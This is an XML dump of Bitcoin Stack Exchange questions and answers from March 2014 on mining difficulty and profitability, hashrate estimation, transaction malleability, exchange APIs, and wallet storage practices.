  <row Id="22928" PostTypeId="2" ParentId="22925" CreationDate="2014-03-02T18:39:06.703" Score="1" Body="&lt;p&gt;Q: If bitcoin algorithm was broken and some one started spitting out blocks one after the other through their other worldly space computer, could it be detected that the same miner was busting all the blocks?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This needs to be less &quot;other worldly&quot; worded and more plainly stated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: How does the network strength or hashing power get computed? By just assuming the required H/s for the current technology?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short answer: Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long answer:&#xA;First we need a definition of &quot;power&quot;: The time rate at which work is done or energy emitted or transferred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The work is a hash thus the power is: hashes/time. Currently the network power can be expressed in peta hashes per second or PH/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a given difficulty is is easy to compute the average number o hash attempts that must be made to satisfy the difficulty. The average is all we need because there are a large number of blocks that are hashed.&lt;/p&gt;&#xA;" OwnerUserId="10577" LastEditorUserId="10577" LastEditDate="2014-03-02T21:17:54.450" LastActivityDate="2014-03-02T21:17:54.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22929" PostTypeId="1" AcceptedAnswerId="23112" CreationDate="2014-03-02T19:00:24.347" Score="7" ViewCount="10612" Body="&lt;p&gt;I'm trying to write a Mining client for Scrypt-based mining using Stratum Communication.&#xA;As of now, I have some trouble verifying all my bit orders and sequences. Hashes I'm generating get always rejected due to not meeting the Target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm looking for is a full sequence of data, starting from the information I get from the stratum server (coinbases, merkles,...) to a final hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could already verify parts of the algorithm (mainly from input to a valid merkle-root, using the information of &lt;a href=&quot;http://mining.bitcoin.cz/stratum-mining/&quot; rel=&quot;nofollow&quot;&gt;http://mining.bitcoin.cz/stratum-mining/&lt;/a&gt; , and a scrypt hashing, using the block header from &lt;a href=&quot;https://litecoin.info/Scrypt&quot; rel=&quot;nofollow&quot;&gt;https://litecoin.info/Scrypt&lt;/a&gt; ), but I guess there is some endian problem in between, or something completely different, I don't know... With a full workflow I could verify where the error happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know where to get such data, or how to generate them for myself?&lt;/p&gt;&#xA;" OwnerUserId="14068" LastEditorUserId="5406" LastEditDate="2016-03-14T13:29:56.377" LastActivityDate="2021-01-19T09:16:25.033" Title="Full example data for scrypt Stratum-client" Tags="|scrypt|stratum|mining-software|block-header|" AnswerCount="3" CommentCount="2" ClosedDate="2021-01-21T22:57:51.427" ContentLicense="CC BY-SA 3.0" />
  <row Id="22930" PostTypeId="1" AcceptedAnswerId="22932" CreationDate="2014-03-02T19:17:30.097" Score="8" ViewCount="7571" Body="&lt;p&gt;A lot of news accounts are pointing out that bitcoin mining is getting more difficult over time, murch even said recently in chat its getting &quot;exponentially harder&quot;. I am not sure if that is the case, but has anyone studied the economics and difficulty/hardness of bitcoin mining over spans of time? it appears clearly &amp;amp; by design to be subject to &lt;a href=&quot;http://en.wikipedia.org/wiki/Diminishing_returns&quot; rel=&quot;nofollow&quot;&gt;&quot;diminishing marginal returns&quot;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a forecast when bitcoin mining will reach &quot;break-even&quot; level &amp;amp; be exactly as expensive as the hardware/energy required to mine it?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for quantitative/scientific analysis where possible. By the way, its a completely separate question of whether this would mean that bitcoin is no longer usable as a currency. (To me that is very likely &lt;em&gt;not&lt;/em&gt; the case.)&lt;/p&gt;&#xA;" OwnerUserId="13275" LastEditorUserId="2306" LastEditDate="2016-03-09T23:08:06.423" LastActivityDate="2021-05-16T23:10:49.683" Title="Is there a point where bitcoin mining will not be profitable?" Tags="|mining-profitability|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22931" PostTypeId="2" ParentId="22925" CreationDate="2014-03-02T19:42:01.897" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If bitcoin algorithm was broken and some one started spitting out blocks one after the other through their other worldly space computer, could it be detected that the same miner was busting all the blocks?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not necessarily. There's not enough data recorded to conclusively show that the same person is behind the new blocks, but people would figure it out: The block generation rate and &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow noreferrer&quot;&gt;network difficulty&lt;/a&gt; would shoot up without anyone knowing why. People could try to trace where the mined bitcoins are first seen and where they go. And you could trace the first IPs known to report the blocks: if your interplanetary computer always communicates over one IP, it might get noticed as something that has a lot of power behind it (be that a pool, supercomputer, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that happened, the value of Bitcoin would probably drop as people realize that we'd be vulnerable to a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/658/what-can-an-attacker-with-51-of-hash-power-do&quot;&gt;51% attack&lt;/a&gt; at the hands of an unknown party.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Follow up question: How does the network strength or hashing power get computed? By just assuming the required H/s for the current technology?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The difficulty is known (since it's calculated based on all the previous blocks), and the block generation rate is known (since you can look at how often blocks are coming in). From these, it's easy to estimate the network's total hashing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's like having a lot of people throwing weighted coins (such that 1 millionth of the time it comes up heads) and telling you when they hit a heads. If one such &quot;heads&quot; is reported every 10 minutes (600 seconds), you can make a very accurate estimation of how many times per second the coins are being flipped. In this example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(1,000,000 flips/heads) / (600 seconds/heads) ~= &#xA;1,667 flips/second&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The network difficulty is how you adjust this &lt;code&gt;1,000,000&lt;/code&gt; figure so that the &lt;code&gt;600&lt;/code&gt; figure stays consistent as the network's total hash power (&lt;code&gt;1,667&lt;/code&gt;) changes.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-03-02T19:47:13.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22932" PostTypeId="2" ParentId="22930" CreationDate="2014-03-02T19:54:30.063" Score="5" Body="&lt;p&gt;It's a fact that difficulty is increasing over time, and dramatically so.  You only need to consult a chart of the last &lt;a href=&quot;http://bitcoinwisdom.com/bitcoin/difficulty&quot; rel=&quot;nofollow&quot;&gt;nine months of hash rate v. difficulty&lt;/a&gt; to determine that for yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question of whether it will reach break-even (zero returns) is more difficult.  People around the world have different inputs to the cost side of the equation.  For example, the power cost in Hawaii is quite a bit higher than the power cost in Washington state, and could be quite different still from some other location. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure you've seen the &lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;nofollow&quot;&gt;various calculators&lt;/a&gt; around.  They can't predict the future, they can only produce an anticipated result for a specific set of assumptions as inputs. Whether mining is profitable depends on your assumptions for the future (bitcoin price, difficulty increase, power costs, mining efficiency, date when miner goes operational, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Demand for mining hardware is still robust and I think the primary reason is that actual cost inputs vary (electricity, etc), and people have different views on the other inputs required for the profitability equation. Some people will be wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mine today, but my 30 g/hash equipment is long past it's prime. Not sure that I'm ready to sign up for the current arms race.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastEditorUserId="5406" LastEditDate="2014-03-03T13:19:29.363" LastActivityDate="2014-03-03T13:19:29.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22933" PostTypeId="2" ParentId="22926" CreationDate="2014-03-02T20:11:16.597" Score="1" Body="&lt;p&gt;Yes, it's running on my system, which is a 5 year old Macbook Pro running 10.9.2.  I have 4gb ram and a 2.4ghz Core 2 Duo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did have problems however trying to sync the blockchain initially.  I had a partial blockchain that I had on another computer, which I copied over.  Normally in this case the computer reindexes the block files on disk, figures out where it is, and then picks up downloading from the last point.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I got behaviour very similar to what you're describing.  It would go to &quot;verifying blocks&quot; and stay that way for a very long time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end I fixed it by deleting all of my previous blockchain (I deleted everything but wallet.dat), and then let the app download the blockchain from the beginning.  It took about 4 days, but in the end it works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Didn't really test it out much, but I don't think I saw the same thing on my 20gb Mac Pro, so I think the MacBook was just too resource constrained.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=495683.0&quot; rel=&quot;nofollow&quot;&gt;new Bitcoin coming out&lt;/a&gt;, Bitcoin 0.90, is available as a 64 bit app for Mac OSX, so this will likely help. I'm running 0.90 on my Windows machine and it's fine.  Haven't put it on the Mac yet.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastActivityDate="2014-03-02T20:11:16.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22935" PostTypeId="1" CreationDate="2014-03-02T21:10:19.887" Score="2" ViewCount="646" Body="&lt;p&gt;Does anyone know if there is an official limit on the number of requests that can be made to btc-e.com? I know bitstamp will ban your ip address if it detects more than 600 requests per 10 minutes. I checked the terms, FAQ, and knowledge base and searched briefly on google but did not find much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody with any experience on what is the highest acceptable frequency of requests that can be made?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14076" LastEditorUserId="5406" LastEditDate="2017-05-20T17:51:49.490" LastActivityDate="2017-05-20T17:51:49.490" Title="BTC-E - Is there an official limit on frequency of requests that can be made?" Tags="|api|btce|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22936" PostTypeId="1" CreationDate="2014-03-02T21:10:50.090" Score="1" ViewCount="223" Body="&lt;p&gt;Considering the trade information reported here: &lt;a href=&quot;https://btc-e.com/api/3/trades/btc_usd&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/3/trades/btc_usd&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Do these refer to open orders, or to completed trades?  If this shows only completed trades, does the API offer a means to retrieve the open orders?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Each record has an 'amount' field.  Is this field always in USD for both bids and asks?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14074" LastActivityDate="2014-03-17T10:07:41.450" Title="BTC-e API clarifications" Tags="|api|btce|trade|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22937" PostTypeId="1" CreationDate="2014-03-02T21:26:53.830" Score="6" ViewCount="237" Body="&lt;p&gt;&lt;a href=&quot;http://www.coindesk.com/massive-concerted-attack-launched-bitcoin-exchanges/&quot;&gt;This Coindesk article&lt;/a&gt; says that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;“So as transactions are being created, malformed/parallel transactions&#xA;  are also being created so as to create a fog of confusion over the&#xA;  entire network, which then affects almost every single implementation&#xA;  out there,” he added.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Antonopoulos went on to say that Blockchain.info’s implementation is&#xA;  not affected, but some exchanges have been affected – their internal&#xA;  accounting systems are gradually going out of sync with the network.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How does this getting out of sync occur? Here's my understanding; as a transaction is created, malicious users create hundreds of transactions in the network that are identical except for a mutated signature. The original transaction may or may not be confirmed because a mutated version may get confirmed in the blockchain first. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, Mt. Gox, which used an automated system to approve withdrawals (as the article states), would consider a withdrawal transaction approved before it was actually confirmed in the blockchain. Once a mutated version of that transaction was confirmed in the blockchain, Mt. Gox's accounting system had a problem because a transaction it assumed was confirmed (and therefore had already &quot;lost&quot; the Bitcoins for) wasn't actually confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my understanding correct?&lt;/p&gt;&#xA;" OwnerUserId="14077" LastActivityDate="2014-10-17T14:47:33.800" Title="How did transaction malleability/DDOS attacks allow an exchange's internal accounting system to get &quot;out of sync&quot;?" Tags="|blockchain|transaction-malleability|attack|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22938" PostTypeId="2" ParentId="17387" CreationDate="2014-03-02T22:38:21.077" Score="1" Body="&lt;p&gt;BTC-e waits for &lt;strong&gt;three confirmations&lt;/strong&gt;, and then takes a minute or two more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my experience, it took 12 minutes. YMMV.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is documented on the BTC-e website. Login, then click on 'finances', then click on the 'deposit' button on the BTC row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The minimum incoming transfer is 0.0001BTC.  I don't know what happens if you transfer a smaller amount. &lt;/p&gt;&#xA;" OwnerUserId="14074" LastEditorUserId="14074" LastEditDate="2014-03-03T14:10:45.233" LastActivityDate="2014-03-03T14:10:45.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22939" PostTypeId="1" AcceptedAnswerId="23660" CreationDate="2014-03-02T22:46:52.753" Score="0" ViewCount="2771" Body="&lt;p&gt;I try to mine some btc using cudaminer on cex.io.&#xA;I'm using cudaminer for that. I have a lot 'low' rejected shares due to low difficulty (On the ghash.io they say the minimum stratum difficulty is 16).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think my rejected shares is due to this difficulty but I dunno if I can change that on my side to avoid rejected shares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea?&lt;/p&gt;&#xA;" OwnerUserId="14080" LastEditorUserId="5406" LastEditDate="2016-04-25T20:21:18.057" LastActivityDate="2016-04-25T20:21:18.057" Title="Is there a cudaminer difficulty parameter option" Tags="|mining-pools|stratum|cex.io|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22940" PostTypeId="2" ParentId="17387" CreationDate="2014-03-02T23:05:44.327" Score="0" Body="&lt;p&gt;There are a lot of factors there. It could depend on network volume, things like the way the online wallet is built, and what hardware is being used. Then, depending on the service, they could have additional rules for security, like requiring 10 or more confirmations. It's been my experience that high expectations for speed are bad with these services. What you want to do is plan to wait around an hour before everything confirms, and all of the internal policies are met.&lt;/p&gt;&#xA;" OwnerUserId="11003" LastActivityDate="2014-03-02T23:05:44.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22941" PostTypeId="2" ParentId="14447" CreationDate="2014-03-02T23:14:40.950" Score="1" Body="&lt;p&gt;It depends on where your head is, and what your level of skill happens to be. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could actually run something like BitEscrow, and integrate it into your site. Or you could run a full on copy of Bitcoind, that would do the job without a payment processor. Of course, that requires thinking about things like security, which you might not want to do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, you have services like Coinbase and Bitpay and Coinpayments, and others, that can take some of the risk away by offering a viable third party interface, for which they, rather than you are responsible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also depends on the bigger question; which is, do you want to have Bitcoins or Fiat at the end of the transaction cycle? If it were me, I would want Bitcoins, because I like Bitcoins. But your needs may be different. You very well might want dollars or euros, and that's okay too.&lt;/p&gt;&#xA;" OwnerUserId="11003" LastActivityDate="2014-03-02T23:14:40.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22942" PostTypeId="2" ParentId="22930" CreationDate="2014-03-02T23:18:24.837" Score="7" Body="&lt;p&gt;It's already here. At present, you're simply not going to be able to mine Bitcoin with consumer grade hardware. Even with ASICs, you're still looking at returns that would have been laughable just a year ago. You're better off mining something like Mint or Aurora, or Doge, and turning them in for Bitcoins. Just my 2400 satoshis.&lt;/p&gt;&#xA;" OwnerUserId="11003" LastActivityDate="2014-03-02T23:18:24.837" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22944" PostTypeId="2" ParentId="17917" CreationDate="2014-03-03T00:19:23.963" Score="1" Body="&lt;p&gt;Yes, CGMiner dropped GPU mining support from version 3.8 upwards - you need to get 3.7.0 which still has it and still works like a charm (at least on Windows and Linux). Be careful to check at a profitability calculator if it's worth it - given too many people with ASICs have diverted them for other SHA256-powered coins, you might not cover your costs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could simply buy some Peercoins in an exchange and leave your client on and connected all the time: &lt;a href=&quot;http://www.peercoin.net/minting.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;the way PPC works&lt;/a&gt;, you'll get a small interest on your coins over time (circa 1% annually). Or you can simply buy them, and after 90+ days (or even 1 year) start up your client and leave it connected for some hours - you'd still earn some riskless interest, but less than if you'd left the client on the whole time, as discussed in-depth  in the answers to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9540/are-all-strategies-to-mine-ppcoin-proof-of-stake-blocks-equivalent&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-03-03T00:19:23.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22945" PostTypeId="2" ParentId="20007" CreationDate="2014-03-03T00:32:38.970" Score="9" Body="&lt;p&gt;For Peercoin specifically, PoW and PoS blocks are independent. Just as you're betting your consumed electricity and CPU-time vs. the possible PoW-blok's reward, in the PoS blocks you're betting your coin-age: the amount oF PPC you own multiplied by the number of days they've sitted idly at your wallet. It must be a minimum of 30 and a maximum of 90 days for your coins to start generating tickets for the PoS raffle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should your ticket win, you earn 1% interest and lose all your coin-age, so your coins are, from the network POV, as though you had just received them. I.e. you'll need to wait another 30 days for them to be able to pay you interest again. Over time, though, you're just supposed to earn about 1% annually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since code for PoS and PoW are independent of each other and the concept of PoS so new, there have been a couple bugs to be fixed plus a kind of attack was found that allowed users to generate a lot of PoS raffle-tickets for &quot;free&quot; - fortunately Sunny King has been able to fix such problems quickly.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-03-03T00:32:38.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22947" PostTypeId="2" ParentId="22930" CreationDate="2014-03-03T01:44:59.047" Score="1" Body="&lt;p&gt;All of the above answers are incorrect.&#xA;Bitcoin mining will always be profitable, for as long as there are transactions to be confirmed there will always be utility in &quot;mining,&quot; even beyond year ~2140 when all bitcoins are thought to have been mined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, I agree with above re: BTC difficulty rendering all but commercial mining operations or cloudpools etc profitable being here, now. When I think about how, to date, the most reputable mining company (as far as I'm aware) is Terraminer I'm taken aback by the state of mining. After having shipped 1000 pre-orders for their 2TH mining rigs, we saw them weeks postponed from original promised date, and with all of them under-clocking at just 1.7TH at BEST!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Couple this trend, that of mining companies falling far below expectation, even farther behind promised schedule, being &quot;new&quot; seems like a fairy tale all things considered --- with the knowledge that every single miner is &quot;tested&quot; before it is shipped it's not hard to see why they have consistently sucked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tera chose to ship their models, at a time where bitcoin's $ value was decreasing steadily.  Perhaps if it had not been dealt a huge blow at the hands of Gox, they would have withheld shipments for several more weeks. Perhaps they would not ship out at all if they price again skyrocketed to $2000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is somewhat scary to think that all of these channels are dirtied with the stain of avarice, corrupted absolutely by cut throat companies who are almost never releasing anything earth shattering without getting their own bang out of the product first. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin market and it's miners are forever inextricably linked due to their necessity in confirming transactions, in securing the network. The ties between them are tainted unfortunately. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't imagine any really profitable mining equipment being sold ... at all ... until key measures are put in place to level the mining field.&lt;/p&gt;&#xA;" OwnerUserId="14016" LastEditorUserId="-1" LastEditDate="2014-03-25T03:40:36.097" LastActivityDate="2014-03-25T03:40:36.097" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22948" PostTypeId="2" ParentId="22937" CreationDate="2014-03-03T01:49:50.243" Score="-2" Body="&lt;p&gt;Transaction malleability has nothing to do with it.&#xA;Read &lt;a href=&quot;http://www.reddit.com/tb/1zcrj8&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/tb/1zcrj8&lt;/a&gt; to learn more.&lt;/p&gt;&#xA;" OwnerUserId="14016" LastActivityDate="2014-03-03T01:49:50.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22949" PostTypeId="1" CreationDate="2014-03-03T02:34:10.753" Score="0" ViewCount="115" Body="&lt;p&gt;According to &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Days_Destroyed&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Bitcoin_Days_Destroyed&lt;/a&gt; , if I have 100 BTC for seven days and then spend them, that’s 700 days destroyed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I didn't have them, someone else would have them.  So how does the metric differ from the amount of BTC that exists?&lt;/p&gt;&#xA;" OwnerUserId="14084" LastActivityDate="2014-03-03T02:51:05.797" Title="How is “days destroyed” different from “amount of BTC” in existence?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ClosedDate="2014-03-04T05:31:58.060" ContentLicense="CC BY-SA 3.0" />
  <row Id="22950" PostTypeId="2" ParentId="22949" CreationDate="2014-03-03T02:51:05.797" Score="0" Body="&lt;p&gt;Days destroyed are measured in BTC * days&#xA;Amounts of BTC are measured in BTCs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two concepts are as different as Power (Watts) vs Energy (Joules).&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-03T02:51:05.797" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22951" PostTypeId="1" AcceptedAnswerId="22952" CreationDate="2014-03-03T03:32:29.897" Score="17" ViewCount="16130" Body="&lt;p&gt;What should I be using to store the values of a wallet in a MySQL database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently floats are too imprecise to be storing Bitcoins, especially down to the satoshi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what should I be using? Decimal ?&lt;/p&gt;&#xA;" OwnerUserId="14035" LastActivityDate="2014-04-09T13:38:42.730" Title="How to store Bitcoin values in a MySQL database? floats are bad.... right?" Tags="|satoshi|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22952" PostTypeId="2" ParentId="22951" CreationDate="2014-03-03T04:14:59.470" Score="9" Body="&lt;p&gt;There would be small expression errors. If you want to save as integers just multiply by 100000000 and save satoshis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @ypercube states MySQL BIGINT is a wise type choice for storing satoshis, MySQL INT does not have a sufficient maximum value.&lt;/p&gt;&#xA;" OwnerUserId="10577" LastEditorUserId="10577" LastEditDate="2014-04-09T13:38:42.730" LastActivityDate="2014-04-09T13:38:42.730" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22954" PostTypeId="1" AcceptedAnswerId="23471" CreationDate="2014-03-03T06:02:15.657" Score="5" ViewCount="286" Body="&lt;p&gt;If some large number of the mining pools started publishing what transactions they are planning on including the danger of accepting a zero confirmation transaction would be reduced dramatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has there been any thought on this that I could read up on?&lt;/p&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2014-03-14T20:00:34.717" Title="Are there any mining pools that publish what transactions they will include?" Tags="|transactions|mining-pools|trust|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="22955" PostTypeId="1" AcceptedAnswerId="22956" CreationDate="2014-03-03T07:15:03.957" Score="6" ViewCount="1401" Body="&lt;p&gt;I'm thinking of issues like the randomization not being truly random. I appreciate that some users could examine the code themselves, but what assurances do less technically skilled users have?&lt;/p&gt;&#xA;" OwnerUserId="13851" LastEditorUserId="13851" LastEditDate="2014-03-03T07:28:16.620" LastActivityDate="2014-03-06T22:23:02.537" Title="How can users have confidence that there are no backdoors in paper wallet generators?" Tags="|paper-wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22956" PostTypeId="2" ParentId="22955" CreationDate="2014-03-03T07:38:54.477" Score="5" Body="&lt;p&gt;There's really no way for a nontechnical user to know. In fact, most technical users do not have the &lt;em&gt;specific&lt;/em&gt; technical knowledge required to evaluate cryptographic code (including the random number generator). Therefore, it comes down to a matter of trust. If the user does not directly trust the software author, they may sufficiently trust somebody else who has evaluated the technical aspects of the software.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-03-03T07:38:54.477" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22959" PostTypeId="1" AcceptedAnswerId="22961" CreationDate="2014-03-03T10:40:32.560" Score="1" ViewCount="225" Body="&lt;p&gt;I know it is generally a very bad idea to share one wallet.dat between many clients on different machines because public/private key sets start divirging after some time if all the clients are allowed to recieve and spend money and this leads to a possibility of a dangerous collision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, what if I introduce a constarint that, say, of 5 machines with shared copies of wallet.dat, only one particular machine can both recieve and spend bitcoins while the rest of 4 machines are only allowed to recieve payments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this be a safe setup or would there still be a risk of losing coins?&lt;/p&gt;&#xA;" OwnerUserId="12533" LastActivityDate="2014-03-03T13:11:21.520" Title="Multiple copies of wallet.dat with a constraint" Tags="|wallet.dat|shared|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22960" PostTypeId="2" ParentId="22959" CreationDate="2014-03-03T11:04:55.767" Score="1" Body="&lt;p&gt;To be truly secure you're going to want as little .dat sort of files on any machine you use -much less Five of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By storing your coins in these files you unnecessarily expose yourself to various forms of attacks. Instead of increasing the chances of your coins security being compromised 1x - you're using hot storage (cold wallets are the safest option known to date) practices on 5x vulnerable machines! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOT  a good idea if you're interested in safely keeping your bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the simple answer to your question is a resounding ***No. They are highly vulnerable. &lt;/p&gt;&#xA;" OwnerUserId="14016" LastActivityDate="2014-03-03T11:04:55.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22961" PostTypeId="2" ParentId="22959" CreationDate="2014-03-03T11:23:29.947" Score="2" Body="&lt;p&gt;The risk is if you have shared private keys on multiple computers. Even if you maintain a personal discipline that you won't spend from those other 4 wallets, the risk is still there.  With those private keys still on the other computers, you have opened up 4 additional vectors of attack on your keys, as well as given yourself 5 times the workload securing it all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should only have the private keys for your addresses on the one machine that you say you want to spend from.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other 4, you should only use &quot;watch only&quot; clients, such as the online wallet at blockchain.info or Armory. There are others as well. Both of those wallets will let you set up public keys to watch, but not spend from, because they don't also have the associated private keys. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Watch only wallets can receive funds just like any other wallet -- you're just watching the balance on the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="11484" LastEditorUserId="5406" LastEditDate="2014-03-03T13:11:21.520" LastActivityDate="2014-03-03T13:11:21.520" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22962" PostTypeId="1" CreationDate="2014-03-03T11:36:30.277" Score="0" ViewCount="152" Body="&lt;p&gt;I'm not too sure how I can expand on this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say that you want to tag the actual transaction with 'Rent' or 'Bill'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a field where I can insert a string for the other party? Note that this doesn't need to be hashed, it can be clear text.&lt;/p&gt;&#xA;" OwnerUserId="11810" LastActivityDate="2014-04-02T19:10:30.903" Title="Can a bitcoin transaction hold an arbitrary string or strings for reference?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
